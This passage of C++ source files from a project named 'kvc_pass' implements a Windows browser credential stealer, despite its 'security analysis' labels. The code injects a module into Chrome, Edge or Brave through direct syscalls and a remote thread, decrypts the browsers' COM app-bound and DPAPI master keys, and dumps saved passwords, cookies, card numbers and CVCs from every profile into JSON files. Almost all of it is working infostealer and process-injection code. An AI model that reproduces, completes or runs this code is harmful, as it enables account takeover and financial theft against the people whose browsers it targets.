        return path.string();
    }
}

namespace SecurityComponents
{
    // Utility functions for encoding and formatting
    namespace Utils
    {
        // Retrieves Local AppData directory path
        fs::path GetLocalAppDataPath();

        // Decodes Base64 encoded string
        std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input);

        // Converts bytes to hexadecimal string
        std::string BytesToHexString(const std::vector<uint8_t>& bytes);

        // Escapes special characters for JSON serialization
        std::string EscapeJson(const std::string& s);
    }

    // Manages named pipe communication with orchestrator
    class PipeLogger
    {
    public:
        explicit PipeLogger(LPCWSTR pipeName);
        ~PipeLogger();

        bool isValid() const noexcept { return m_pipe != INVALID_HANDLE_VALUE; }
        void Log(const std::string& message);
        HANDLE getHandle() const noexcept { return m_pipe; }

    private:
        HANDLE m_pipe = INVALID_HANDLE_VALUE;
    };
}

#endif // COMMUNICATION_MODULE_H

<<<FILE: kvc_pass/CryptCore.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-03-29 15:43:54
Size:     8.64 KB
// CryptCore.cpp - Security module entry point and workflow coordination
// Implements split-key strategy for Edge: COM for cookies/payments, DPAPI for passwords
#include "CryptCore.h"
#include "BrowserCrypto.h"
#include "DataExtraction.h"
#include "CommunicationModule.h"
#include "SelfLoader.h"
#include <memory>
#include <stdexcept>

namespace SecurityComponents
{
    // Initializes security orchestrator and establishes pipe communication
    SecurityOrchestrator::SecurityOrchestrator(LPCWSTR lpcwstrPipeName)
    {
        m_logger.emplace(lpcwstrPipeName);
        
        if (!m_logger->isValid())
        {
            throw std::runtime_error("Failed to connect to named pipe from orchestrator.");
        }
        ReadPipeParameters();
    }

    // Main execution workflow: decrypt keys, enumerate profiles, extract data
    void SecurityOrchestrator::Run()
    {
        BrowserManager browserManager;
        const auto& browserConfig = browserManager.getConfig();
        m_logger->Log("[*] Security analysis process started for " + browserConfig.name);
        
        std::vector<uint8_t> comKey, dpapiKey;
        fs::path localStatePath = browserManager.getUserDataRoot() / "Local State";
        
        // Edge: try COM first (app_bound_encrypted_key — modern APPB cookies & passwords),
        // fall back to pre-extracted DPAPI key if COM is unavailable.
        if (browserConfig.name == "Edge")
        {
            bool comOk = false;
            try
            {
                m_logger->Log("[*] Attempting COM key strategy for Edge");
                MasterKeyDecryptor keyDecryptor(*m_logger);
                comKey = keyDecryptor.Decrypt(browserConfig, localStatePath, DataType::All);
                dpapiKey = comKey;
                m_logger->Log("[+] Edge COM key obtained: " + Utils::BytesToHexString(comKey));
                comOk = true;
            }
            catch (const std::exception& e)
            {
                m_logger->Log("[!] Edge COM key failed: " + std::string(e.what()));
            }

            if (!comOk)
            {
                if (!m_edgeDpapiKey.empty())
                {
                    comKey  = m_edgeDpapiKey;
                    dpapiKey = m_edgeDpapiKey;
                    m_logger->Log("[*] Falling back to DPAPI key: " + Utils::BytesToHexString(comKey));
                }
                else
                {
                    m_logger->Log("[-] No key available for Edge - extraction skipped");
                    return;
                }
            }
        }
        else 
        {
            // Chrome/Brave use single COM-elevated key for all data types
            m_logger->Log("[*] Initializing single-key strategy for " + browserConfig.name);
            MasterKeyDecryptor keyDecryptor(*m_logger);
            comKey = keyDecryptor.Decrypt(browserConfig, localStatePath, DataType::All);
            dpapiKey = comKey;
            m_logger->Log("[+] Single COM key: " + Utils::BytesToHexString(comKey));
        }
        
        // Enumerate all browser profiles
        ProfileEnumerator enumerator(browserManager.getUserDataRoot(), *m_logger);
        auto profilePaths = enumerator.FindProfiles();
        m_logger->Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s)");

        // Extract data from each profile
        for (const auto& profilePath : profilePaths) 
        {
            m_logger->Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename()));
            
            for (const auto& dataConfig : Data::GetExtractionConfigs()) 
            {
                // All data types use comKey (Edge and Chrome/Brave both use COM/APPB)
                const std::vector<uint8_t>* extractionKey = &comKey;
                m_logger->Log("[*] Using COM key for " + dataConfig.outputFileName + " extraction");
                
                try {
                    DataExtractor extractor(profilePath, dataConfig, *extractionKey, *m_logger, 
                                          m_outputPath, browserConfig.name);
                    extractor.Extract();
                } catch (const std::exception& e) {
                    m_logger->Log("[-] Extraction failed for " + dataConfig.outputFileName + ": " + 
                                std::string(e.what()));
                }
            }
        }

        m_logger->Log("[*] Security analysis process finished successfully");
    }

    // Reads configuration parameters from orchestrator via named pipe
    void SecurityOrchestrator::ReadPipeParameters()
    {
        char buffer[1024] = {0};
        DWORD bytesRead = 0;
        
        // Read verbose flag
        if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
        {
            m_logger->Log("[-] Failed to read verbose flag from pipe");
            return;
        }
        
        // Read output path
        memset(buffer, 0, sizeof(buffer));
        if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
        {
            m_logger->Log("[-] Failed to read output path from pipe");
            return;
        }
        buffer[bytesRead] = '\0';
        m_outputPath = buffer;
        m_logger->Log("[*] Output path configured: " + StringUtils::path_to_string(m_outputPath));
        
        // Read DPAPI key (Edge only)
        memset(buffer, 0, sizeof(buffer));
        if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0)
        {
            m_logger->Log("[-] Failed to read DPAPI key from pipe");
            return;
        }
        buffer[bytesRead] = '\0';
        
        // Parse DPAPI key message
        try {
            std::string dpapiKeyMsg(buffer);
            
            if (dpapiKeyMsg.find("DPAPI_KEY:") == 0)
            {
                std::string hexKey = dpapiKeyMsg.substr(10);
                
                if (hexKey != "NONE" && hexKey.length() >= 64)
                {
                    m_edgeDpapiKey.resize(32);
                    for (size_t i = 0; i < 32; ++i)
                    {
                        std::string byteStr = hexKey.substr(i * 2, 2);
                        unsigned long byte = std::stoul(byteStr, nullptr, 16);
                        m_edgeDpapiKey[i] = static_cast<uint8_t>(byte);
                    }
                    m_logger->Log("[+] Received pre-decrypted DPAPI key from orchestrator: " + 
                                std::to_string(m_edgeDpapiKey.size()) + " bytes");
                }
                else
                {
                    m_logger->Log("[*] No DPAPI key from orchestrator");
                }
            }
            else
            {
                m_logger->Log("[-] Invalid DPAPI key message format");
            }
        }
        catch (const std::exception& e)
        {
            m_logger->Log("[-] Exception parsing DPAPI key: " + std::string(e.what()));
        }
    }
}

// Security module worker thread entry point
DWORD WINAPI SecurityModuleWorker(LPVOID lpParam)
{
    auto thread_params = std::unique_ptr<ModuleThreadParams>(static_cast<ModuleThreadParams*>(lpParam));

    try
    {
        SecurityComponents::SecurityOrchestrator orchestrator(
            static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
        orchestrator.Run();
    }
    catch (const std::exception& e)
    {
        try
        {
            SecurityComponents::PipeLogger errorLogger(
                static_cast<LPCWSTR>(thread_params->lpPipeNamePointerFromOrchestrator));
            if (errorLogger.isValid())
            {
                errorLogger.Log("[-] CRITICAL SECURITY MODULE ERROR: " + std::string(e.what()));
				errorLogger.Log("__DLL_PIPE_COMPLETION_SIGNAL__");
            }
        }
        catch (...) {}
    }

    FreeLibraryAndExitThread(thread_params->hModule_dll, 0);
    return 0;
}

// DLL entry point - creates worker thread for asynchronous execution
BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved)
{
    if (reason == DLL_PROCESS_ATTACH)
    {
        DisableThreadLibraryCalls(hModule);

        auto params = new (std::nothrow) ModuleThreadParams{hModule, lpReserved};
        if (!params) return TRUE;

        HANDLE hThread = CreateThread(NULL, 0, SecurityModuleWorker, params, 0, NULL);
        if (hThread)
        {
            CloseHandle(hThread);
        }
        else
        {
            delete params;
        }
    }
    return TRUE;
}

<<<FILE: kvc_pass/CryptCore.h>>>
Created:  2026-02-27 12:50:26
Modified: 2025-10-02 08:35:46
Size:     1.1 KB
// CryptCore.h - Main security module orchestration
#ifndef CRYPT_CORE_H
#define CRYPT_CORE_H

#include <Windows.h>
#include <string>
#include <filesystem>
#include <optional>
#include "CommunicationModule.h"

namespace fs = std::filesystem;

namespace SecurityComponents
{
    // Main orchestrator coordinating the entire extraction workflow
    class SecurityOrchestrator
    {
    public:
        explicit SecurityOrchestrator(LPCWSTR lpcwstrPipeName);

        // Executes full analysis: key decryption, profile enumeration, data extraction
        void Run();

    private:
        // Reads configuration parameters from orchestrator via pipe
        void ReadPipeParameters();

        std::optional<PipeLogger> m_logger;
        fs::path m_outputPath;
		std::vector<uint8_t> m_edgeDpapiKey;
    };
}

// Thread parameters passed to worker thread
struct ModuleThreadParams
{
    HMODULE hModule_dll;
    LPVOID lpPipeNamePointerFromOrchestrator;
};

// Main worker thread executing security analysis
DWORD WINAPI SecurityModuleWorker(LPVOID lpParam);

#endif // CRYPT_CORE_H

<<<FILE: kvc_pass/DataExtraction.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-29 14:58:10
Size:     10.58 KB
// DataExtraction.cpp - Profile discovery and database extraction
#include "DataExtraction.h"
#include "BrowserCrypto.h"
#include "CommunicationModule.h"
#include <fstream>
#include <sstream>
#include <algorithm>

namespace SecurityComponents
{
    namespace Data
    {
        // Pre-loads CVC data for payment card processing
        std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> SetupPaymentCards(sqlite3* db)
        {
            auto cvcMap = std::make_shared<std::unordered_map<std::string, std::vector<uint8_t>>>();
            sqlite3_stmt* stmt = nullptr;
            if (sqlite3_prepare_v2(db, "SELECT guid, value_encrypted FROM local_stored_cvc;", -1, &stmt, nullptr) != SQLITE_OK)
                return cvcMap;
            
            while (sqlite3_step(stmt) == SQLITE_ROW)
            {
                const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
                const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 1));
                if (guid && blob)
                    (*cvcMap)[guid] = {blob, blob + sqlite3_column_bytes(stmt, 1)};
            }
            sqlite3_finalize(stmt);
            return cvcMap;
        }

        // Formats cookie row into JSON
        std::optional<std::string> FormatCookie(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
        {
            const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 6));
            if (!blob) return std::nullopt;
            
            auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 6)});
            if (plain.size() <= COOKIE_PLAINTEXT_HEADER_SIZE)
                return std::nullopt;

            const char* value_start = reinterpret_cast<const char*>(plain.data()) + COOKIE_PLAINTEXT_HEADER_SIZE;
            size_t value_size = plain.size() - COOKIE_PLAINTEXT_HEADER_SIZE;

            std::ostringstream json_entry;
            json_entry << "  {\"host\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) << "\""
                      << ",\"name\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) << "\""
                      << ",\"path\":\"" << Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 2))) << "\""
                      << ",\"value\":\"" << Utils::EscapeJson({value_start, value_size}) << "\""
                      << ",\"expires\":" << sqlite3_column_int64(stmt, 5)
                      << ",\"secure\":" << (sqlite3_column_int(stmt, 3) ? "true" : "false")
                      << ",\"httpOnly\":" << (sqlite3_column_int(stmt, 4) ? "true" : "false")
                      << "}";
            return json_entry.str();
        }

        // Formats password row into JSON
        std::optional<std::string> FormatPassword(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
        {
            const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 2));
            if (!blob) return std::nullopt;
            
            auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 2)});
            return "  {\"origin\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0))) +
                  "\",\"username\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
                  "\",\"password\":\"" + Utils::EscapeJson({reinterpret_cast<char*>(plain.data()), plain.size()}) + "\"}";
        }

        // Formats payment card row into JSON
        std::optional<std::string> FormatPayment(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state)
        {
            auto cvcMap = reinterpret_cast<std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>*>(state);
            std::string card_num_str, cvc_str;
            
            const uint8_t* blob = reinterpret_cast<const uint8_t*>(sqlite3_column_blob(stmt, 4));
            if (blob)
            {
                auto plain = Crypto::DecryptGcm(key, {blob, blob + sqlite3_column_bytes(stmt, 4)});
                card_num_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
            }
            
            const char* guid = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
            if (guid && cvcMap && (*cvcMap)->count(guid))
            {
                auto plain = Crypto::DecryptGcm(key, (*cvcMap)->at(guid));
                cvc_str.assign(reinterpret_cast<char*>(plain.data()), plain.size());
            }
            
            return "  {\"name_on_card\":\"" + Utils::EscapeJson(reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1))) +
                  "\",\"expiration_month\":" + std::to_string(sqlite3_column_int(stmt, 2)) +
                  ",\"expiration_year\":" + std::to_string(sqlite3_column_int(stmt, 3)) +
                  ",\"card_number\":\"" + Utils::EscapeJson(card_num_str) +
                  "\",\"cvc\":\"" + Utils::EscapeJson(cvc_str) + "\"}";
        }

        // Returns all extraction configurations
        const std::vector<ExtractionConfig>& GetExtractionConfigs()
        {
            static const std::vector<ExtractionConfig> configs = {
                {fs::path("Network") / "Cookies", "cookies", 
                 "SELECT host_key, name, path, is_secure, is_httponly, expires_utc, encrypted_value FROM cookies;",
                 nullptr, FormatCookie},
                
                {"Login Data", "passwords", 
                 "SELECT origin_url, username_value, password_value FROM logins;",
                 nullptr, FormatPassword},

                {"Web Data", "payments", 
                 "SELECT guid, name_on_card, expiration_month, expiration_year, card_number_encrypted FROM credit_cards;",
                 SetupPaymentCards, FormatPayment}
            };
            return configs;
        }
    }

    // ProfileEnumerator implementation
    ProfileEnumerator::ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger) 
        : m_userDataRoot(userDataRoot), m_logger(logger) {}

    std::vector<fs::path> ProfileEnumerator::FindProfiles()
    {
        m_logger.Log("[*] Discovering browser profiles in: " + StringUtils::path_to_string(m_userDataRoot));
        std::vector<fs::path> profilePaths;

        auto isProfileDirectory = [](const fs::path& path)
        {
            for (const auto& dataCfg : Data::GetExtractionConfigs())
            {
                if (fs::exists(path / dataCfg.dbRelativePath))
                    return true;
            }
            return false;
        };

        if (isProfileDirectory(m_userDataRoot))
        {
            profilePaths.push_back(m_userDataRoot);
        }

        std::error_code ec;
        for (const auto& entry : fs::directory_iterator(m_userDataRoot, ec))
        {
            if (!ec && entry.is_directory() && isProfileDirectory(entry.path()))
            {
                profilePaths.push_back(entry.path());
            }
        }

        if (ec)
        {
            m_logger.Log("[-] Filesystem ERROR during profile discovery: " + ec.message());
        }

        std::sort(profilePaths.begin(), profilePaths.end());
        profilePaths.erase(std::unique(profilePaths.begin(), profilePaths.end()), profilePaths.end());

        m_logger.Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s).");
        return profilePaths;
    }

    // DataExtractor implementation
    DataExtractor::DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config,
                  const std::vector<uint8_t>& aesKey, PipeLogger& logger,
                  const fs::path& baseOutputPath, const std::string& browserName)
        : m_profilePath(profilePath), m_config(config), m_aesKey(aesKey),
          m_logger(logger), m_baseOutputPath(baseOutputPath), m_browserName(browserName) {}

    void DataExtractor::Extract()
    {
        fs::path dbPath = m_profilePath / m_config.dbRelativePath;
        if (!fs::exists(dbPath))
            return;

        sqlite3* db = nullptr;
        std::string uriPath = "file:" + StringUtils::path_to_string(dbPath) + "?nolock=1";
        std::replace(uriPath.begin(), uriPath.end(), '\\', '/');

        if (sqlite3_open_v2(uriPath.c_str(), &db, SQLITE_OPEN_READONLY | SQLITE_OPEN_URI, nullptr) != SQLITE_OK)
        {
            m_logger.Log("[-] Failed to open database " + StringUtils::path_to_string(dbPath) + 
                       ": " + (db ? sqlite3_errmsg(db) : "N/A"));
            if (db) sqlite3_close_v2(db);
            return;
        }

        sqlite3_stmt* stmt = nullptr;
        if (sqlite3_prepare_v2(db, m_config.sqlQuery.c_str(), -1, &stmt, nullptr) != SQLITE_OK)
        {
            sqlite3_close_v2(db);
            return;
        }

        void* preQueryState = nullptr;
        std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> cvcMap;
        if (m_config.preQuerySetup)
        {
            cvcMap = m_config.preQuerySetup(db);
            preQueryState = &cvcMap;
        }

        std::vector<std::string> jsonEntries;
        while (sqlite3_step(stmt) == SQLITE_ROW)
        {
            if (auto jsonEntry = m_config.jsonFormatter(stmt, m_aesKey, preQueryState))
            {
                jsonEntries.push_back(*jsonEntry);
            }
        }

        sqlite3_finalize(stmt);
        sqlite3_close_v2(db);

        if (!jsonEntries.empty())
        {
            fs::path outFilePath = m_baseOutputPath / m_browserName / m_profilePath.filename() / 
                                 (m_config.outputFileName + ".json");
            
            std::error_code ec;
            fs::create_directories(outFilePath.parent_path(), ec);
            if (ec)
            {
                m_logger.Log("[-] Failed to create directory: " + StringUtils::path_to_string(outFilePath.parent_path()));
                return;
            }

            std::ofstream out(outFilePath, std::ios::trunc);
            if (!out) return;

            out << "[\n";
            for (size_t i = 0; i < jsonEntries.size(); ++i)
            {
                out << jsonEntries[i] << (i == jsonEntries.size() - 1 ? "" : ",\n");
            }
            out << "\n]\n";

            m_logger.Log("     [*] " + std::to_string(jsonEntries.size()) + " " + m_config.outputFileName + 
                       " extracted to " + StringUtils::path_to_string(outFilePath));
        }
    }
}

<<<FILE: kvc_pass/DataExtraction.h>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-29 14:58:32
Size:     2.78 KB
// DataExtraction.h - Database extraction and profile enumeration
#ifndef DATA_EXTRACTION_H
#define DATA_EXTRACTION_H

#include <Windows.h>
#include <vector>
#include <string>
#include <filesystem>
#include <memory>
#include <unordered_map>
#include "winsqlite3.h"

namespace fs = std::filesystem;

namespace SecurityComponents
{
    class PipeLogger;

    // Data extraction configuration and operations
    namespace Data
    {
        constexpr size_t COOKIE_PLAINTEXT_HEADER_SIZE = 32;

        typedef std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>>(*PreQuerySetupFunc)(sqlite3*);
        typedef std::optional<std::string>(*JsonFormatterFunc)(sqlite3_stmt*, const std::vector<uint8_t>&, void*);
        
        struct ExtractionConfig
        {
            fs::path dbRelativePath;
            std::string outputFileName;
            std::string sqlQuery;
            PreQuerySetupFunc preQuerySetup;
            JsonFormatterFunc jsonFormatter;
        };

        // Pre-query setup function for payment cards
        std::shared_ptr<std::unordered_map<std::string, std::vector<uint8_t>>> SetupPaymentCards(sqlite3* db);

        // JSON formatters for different data types
        std::optional<std::string> FormatCookie(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state);
        std::optional<std::string> FormatPassword(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state);
        std::optional<std::string> FormatPayment(sqlite3_stmt* stmt, const std::vector<uint8_t>& key, void* state);

        // Returns all extraction configurations
        const std::vector<ExtractionConfig>& GetExtractionConfigs();
    }

    // Discovers all available browser profiles
    class ProfileEnumerator
    {
    public:
        ProfileEnumerator(const fs::path& userDataRoot, PipeLogger& logger);
        
        // Returns paths to all valid profile directories
        std::vector<fs::path> FindProfiles();

    private:
        fs::path m_userDataRoot;
        PipeLogger& m_logger;
    };

    // Extracts data from a specific database within a profile
    class DataExtractor
    {
    public:
        DataExtractor(const fs::path& profilePath, const Data::ExtractionConfig& config,
                      const std::vector<uint8_t>& aesKey, PipeLogger& logger,
                      const fs::path& baseOutputPath, const std::string& browserName);

        // Performs extraction for configured data type
        void Extract();

    private:
        fs::path m_profilePath;
        const Data::ExtractionConfig& m_config;
        const std::vector<uint8_t>& m_aesKey;
        PipeLogger& m_logger;
        fs::path m_baseOutputPath;
        std::string m_browserName;
    };
}

#endif // DATA_EXTRACTION_H

<<<FILE: kvc_pass/EdgeDPAPI.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-30 09:00:22
Size:     2.8 KB
// EdgeDPAPI.cpp - DPAPI decryption for Edge browser password keys
// Implements orchestrator-side password key extraction using Windows DPAPI
#include "EdgeDPAPI.h"
#include <Wincrypt.h>
#include <fstream>
#pragma comment(lib, "Crypt32.lib")

namespace
{
    // Decodes Base64 string into binary data using Windows Crypto API
    std::vector<uint8_t> Base64DecodeSimple(const std::string& input)
    {
        DWORD size = 0;
        if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr))
            return {};
        
        std::vector<uint8_t> data(size);
        CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr);
        return data;
    }
}

// Extracts and decrypts Edge password encryption key from Local State file
// Uses Windows DPAPI to decrypt the key in the orchestrator's security context
// This avoids needing COM elevation for Edge passwords specifically
std::vector<uint8_t> DecryptEdgePasswordKeyWithDPAPI(const fs::path& localStatePath, const Console& console)
{
    std::ifstream f(localStatePath, std::ios::binary);
    if (!f) 
        return {};
    
    std::string content((std::istreambuf_iterator<char>(f)), std::istreambuf_iterator<char>());
    
    // Locate encrypted_key field in JSON
    std::string tag = "\"encrypted_key\":\"";
    size_t pos = content.find(tag);
    if (pos == std::string::npos) 
        return {};
    
    size_t end = content.find('"', pos + tag.length());
    if (end == std::string::npos) 
        return {};
    
    // Decode Base64 encrypted key
    std::vector<uint8_t> decoded = Base64DecodeSimple(content.substr(pos + tag.length(), end - pos - tag.length()));
    if (decoded.size() < 5) 
        return {};
    
    // Strip "DPAPI" prefix (5 bytes: 0x44 0x50 0x41 0x50 0x49)
    if (decoded[0] == 0x44 && decoded[1] == 0x50 && decoded[2] == 0x41 && 
        decoded[3] == 0x50 && decoded[4] == 0x49) 
    {
        decoded.erase(decoded.begin(), decoded.begin() + 5);
    }
    
    // Verify DPAPI blob header (0x01 0x00 0x00 0x00)
    if (decoded.size() < 4 || decoded[0] != 0x01 || decoded[1] != 0x00 || 
        decoded[2] != 0x00 || decoded[3] != 0x00)
        return {};
    
    // Decrypt using Windows DPAPI
    DATA_BLOB inputBlob = { static_cast<DWORD>(decoded.size()), decoded.data() };
    DATA_BLOB outputBlob = {};
    
    if (!CryptUnprotectData(&inputBlob, nullptr, nullptr, nullptr, nullptr, 
                           CRYPTPROTECT_UI_FORBIDDEN, &outputBlob))
        return {};
    
    std::vector<uint8_t> result(outputBlob.pbData, outputBlob.pbData + outputBlob.cbData);
    LocalFree(outputBlob.pbData);
    
    console.Success("Edge DPAPI password key extracted successfully");
    return result;
}

<<<FILE: kvc_pass/EdgeDPAPI.h>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-30 09:00:42
Size:     0.58 KB
// EdgeDPAPI.h - DPAPI operations for Edge password key extraction
#ifndef EDGE_DPAPI_H
#define EDGE_DPAPI_H

#include <Windows.h>
#include <vector>
#include <filesystem>
#include "CommunicationLayer.h"

namespace fs = std::filesystem;

// Extracts and decrypts Edge password encryption key using Windows DPAPI
// This function runs in the orchestrator's context, avoiding the need for
// COM elevation specifically for Edge password decryption
std::vector<uint8_t> DecryptEdgePasswordKeyWithDPAPI(const fs::path& localStatePath, const Console& console);

#endif // EDGE_DPAPI_H

<<<FILE: kvc_pass/InjectionEngine.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2025-09-29 15:02:14
Size:     7.16 KB
// InjectionEngine.cpp - Low-level PE injection and execution
#include "InjectionEngine.h"
#include "syscalls.h"
#include <fstream>
#include <stdexcept>

#ifndef NT_SUCCESS
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#endif

extern std::string g_securityModulePath;

// Constructor initializes injection context
InjectionManager::InjectionManager(TargetProcess& target, const Console& console) 
    : m_target(target), m_console(console) {}

// Main injection workflow execution
void InjectionManager::execute(const std::wstring& pipeName)
{
    m_console.Debug("Loading security module from file: " + g_securityModulePath);
    loadSecurityModuleFromFile(g_securityModulePath);

    m_console.Debug("Parsing module PE headers for InitializeSecurityContext entry point.");
    DWORD rdiOffset = getInitializeSecurityContextOffset();
    if (rdiOffset == 0)
        throw std::runtime_error("Could not find InitializeSecurityContext export in security module.");
    m_console.Debug("InitializeSecurityContext found at file offset: " + Utils::PtrToHexStr((void*)(uintptr_t)rdiOffset));

    m_console.Debug("Allocating memory for security module in target process.");
    PVOID remoteModuleBase = nullptr;
    SIZE_T moduleSize = m_moduleBuffer.size();
    SIZE_T pipeNameByteSize = (pipeName.length() + 1) * sizeof(wchar_t);
    SIZE_T totalAllocationSize = moduleSize + pipeNameByteSize;

    NTSTATUS status = NtAllocateVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase, 0,
                                                    &totalAllocationSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!NT_SUCCESS(status))
        throw std::runtime_error("NtAllocateVirtualMemory failed: " + Utils::NtStatusToString(status));
    m_console.Debug("Combined memory for module and parameters allocated at: " + Utils::PtrToHexStr(remoteModuleBase));
    
    m_console.Debug("Writing security module to target process memory.");
    SIZE_T bytesWritten = 0;
    status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remoteModuleBase,
                                        m_moduleBuffer.data(), moduleSize, &bytesWritten);
    if (!NT_SUCCESS(status))
        throw std::runtime_error("NtWriteVirtualMemory for security module failed: " + Utils::NtStatusToString(status));

    m_console.Debug("Writing pipe name parameter into the same allocation.");
    LPVOID remotePipeNameAddr = reinterpret_cast<PBYTE>(remoteModuleBase) + moduleSize;
    status = NtWriteVirtualMemory_syscall(m_target.getProcessHandle(), remotePipeNameAddr,
                                        (PVOID)pipeName.c_str(), pipeNameByteSize, &bytesWritten);
    if (!NT_SUCCESS(status))
        throw std::runtime_error("NtWriteVirtualMemory for pipe name failed: " + Utils::NtStatusToString(status));
    
    m_console.Debug("Changing module memory protection to executable.");
    ULONG oldProtect = 0;
    status = NtProtectVirtualMemory_syscall(m_target.getProcessHandle(), &remoteModuleBase,
                                          &totalAllocationSize, PAGE_EXECUTE_READ, &oldProtect);
    if (!NT_SUCCESS(status))
        throw std::runtime_error("NtProtectVirtualMemory failed: " + Utils::NtStatusToString(status));

    startSecurityThreadInTarget(remoteModuleBase, rdiOffset, remotePipeNameAddr);
    m_console.Debug("New thread created for security module. Main thread remains suspended.");
}

// Reads DLL file into memory buffer
void InjectionManager::loadSecurityModuleFromFile(const std::string& modulePath)
{
    if (!fs::exists(modulePath))
        throw std::runtime_error("Security module not found: " + modulePath);

    std::ifstream file(modulePath, std::ios::binary);
    if (!file)
        throw std::runtime_error("Failed to open security module: " + modulePath);

    file.seekg(0, std::ios::end);
    auto fileSize = file.tellg();
    file.seekg(0, std::ios::beg);

    m_moduleBuffer.resize(static_cast<size_t>(fileSize));
    file.read(reinterpret_cast<char*>(m_moduleBuffer.data()), fileSize);

    if (!file)
        throw std::runtime_error("Failed to read security module: " + modulePath);

    m_console.Debug("Loaded " + std::to_string(m_moduleBuffer.size()) + " bytes from " + modulePath);
}

// Manually parses PE export table to locate entry point
DWORD InjectionManager::getInitializeSecurityContextOffset()
{
    auto dosHeader = reinterpret_cast<PIMAGE_DOS_HEADER>(m_moduleBuffer.data());
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
        return 0;

    auto ntHeaders = reinterpret_cast<PIMAGE_NT_HEADERS>((uintptr_t)m_moduleBuffer.data() + dosHeader->e_lfanew);
    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
        return 0;

    auto exportDirRva = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    if (exportDirRva == 0)
        return 0;
    
    // Converts RVA to file offset using section headers
    auto RvaToOffset = [&](DWORD rva) -> PVOID
    {
        PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHeaders);
        for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; ++i, ++section)
        {
            if (rva >= section->VirtualAddress && rva < section->VirtualAddress + section->Misc.VirtualSize)
            {
                return (PVOID)((uintptr_t)m_moduleBuffer.data() + section->PointerToRawData + (rva - section->VirtualAddress));
            }
        }
        return nullptr;
    };

    auto exportDir = (PIMAGE_EXPORT_DIRECTORY)RvaToOffset(exportDirRva);
    if (!exportDir) return 0;

    auto names = (PDWORD)RvaToOffset(exportDir->AddressOfNames);
    auto ordinals = (PWORD)RvaToOffset(exportDir->AddressOfNameOrdinals);
    auto funcs = (PDWORD)RvaToOffset(exportDir->AddressOfFunctions);
    if (!names || !ordinals || !funcs) return 0;
    
    // Search for specific export by name
    for (DWORD i = 0; i < exportDir->NumberOfNames; ++i)
    {
        char* funcName = (char*)RvaToOffset(names[i]);
        if (funcName && strcmp(funcName, "InitializeSecurityContext") == 0)
        {
            PVOID funcOffsetPtr = RvaToOffset(funcs[ordinals[i]]);
            if (!funcOffsetPtr) return 0;
            return (DWORD)((uintptr_t)funcOffsetPtr - (uintptr_t)m_moduleBuffer.data());
        }
    }
    return 0;
}

// Creates remote thread at calculated entry point
void InjectionManager::startSecurityThreadInTarget(PVOID remoteModuleBase, DWORD rdiOffset, PVOID remotePipeNameAddr)
{
    m_console.Debug("Creating new thread in target to execute InitializeSecurityContext.");

    uintptr_t entryPoint = reinterpret_cast<uintptr_t>(remoteModuleBase) + rdiOffset;
    HANDLE hRemoteThread = nullptr;

    NTSTATUS status = NtCreateThreadEx_syscall(&hRemoteThread, THREAD_ALL_ACCESS, nullptr, m_target.getProcessHandle(),
